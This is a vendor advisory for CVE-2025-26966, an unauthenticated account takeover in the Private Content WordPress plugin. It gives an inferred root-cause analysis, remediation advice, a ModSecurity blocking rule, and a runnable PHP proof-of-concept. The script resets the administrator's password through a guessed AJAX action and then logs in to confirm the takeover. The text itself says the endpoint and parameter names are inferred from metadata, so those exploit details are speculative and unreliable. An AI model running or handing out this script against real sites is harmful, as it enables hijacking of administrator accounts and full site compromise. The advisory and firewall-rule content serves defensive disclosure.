Atomic Edge analysis of CVE-2025-26966 (metadata-based): This vulnerability affects the Private Content plugin for WordPress, up to and including version 8.11.5. It is an unauthenticated privilege escalation via account takeover, with a CVSS score of 9.8, indicating critical severity.
The root cause, based on the CWE-269 classification and the description, is an improper privilege management flaw. Atomic Edge research infers that the plugin likely fails to verify the identity of a user during critical account-related operations. This could be in a password reset, email change, or direct user meta update function. The vulnerability is likely triggered through a WordPress AJAX handler or a REST API endpoint that does not enforce authentication or nonce checks before modifying user account data.
For exploitation, an unauthenticated attacker would target the plugin’s AJAX endpoints. The plugin slug “private-content” suggests endpoints like `/wp-admin/admin-ajax.php?action=private_content_update_user` or similar. The attacker would send a POST request with parameters that directly change a user’s password or email. A typical payload might include parameters like `user_id`, `new_password`, or `user_email`. The exact action and parameter names are inferred from common patterns in WordPress plugins that handle user data.
Remediation requires the plugin developer to implement proper capability checks for all actions related to user data modification. Every AJAX handler or REST route that alters user accounts must validate that the current user has the correct capabilities or ownership. This includes using `current_user_can()` checks, verifying nonces, and ensuring that user IDs passed in requests correspond to the authenticated user.
Successful exploitation allows an unauthenticated attacker to take over any user account, including administrators. This grants full control over the WordPress site, leading to data theft, malware distribution, and site defacement. The attacker could create additional admin accounts, install malicious plugins, or extract the entire database. The high CVSS score reflects the total loss of confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-26966 - Unauthenticated account takeover attempt via Private Content AJAX handler',severity:'CRITICAL',tag:'CVE-2025-26966'"
SecRule ARGS_POST:action "@streq private_content_update_user" "chain"
SecRule ARGS_POST:password "@rx ." ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-26966 - Private Content <= 8.11.5 - Unauthenticated Privilege Escalation via Account Takeover
<?php
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress URL
$target_user_id = 1; // Target user ID to take over (typically admin)
$new_password = 'PwnedPassword123!';
// Step 1: Send a POST request to change the user's password via the vulnerable AJAX handler
// The exact action name is inferred from common patterns; adjust if needed
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = [
'action' => 'private_content_update_user',
'user_id' => $target_user_id,
'password' => $new_password
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Sent password change request for user ID: $target_user_idn";
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: $responsen";
// Step 2: Attempt to log in with the new password to confirm account takeover
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => 'admin', // Username may need adjustment
'pwd' => $new_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
];
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $login_url);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_HEADER, true);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, false);
$login_response = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);
// Check for admin cookie in response
if (preg_match('/wordpress_logged_in_[a-f0-9]+=admin/', $login_response)) {
echo "[+] SUCCESS: Account takeover confirmed. User admin is now logged in with password: $new_passwordn";
} else {
echo "[!] Login attempt may have failed. Check response details above.n";
}
?>
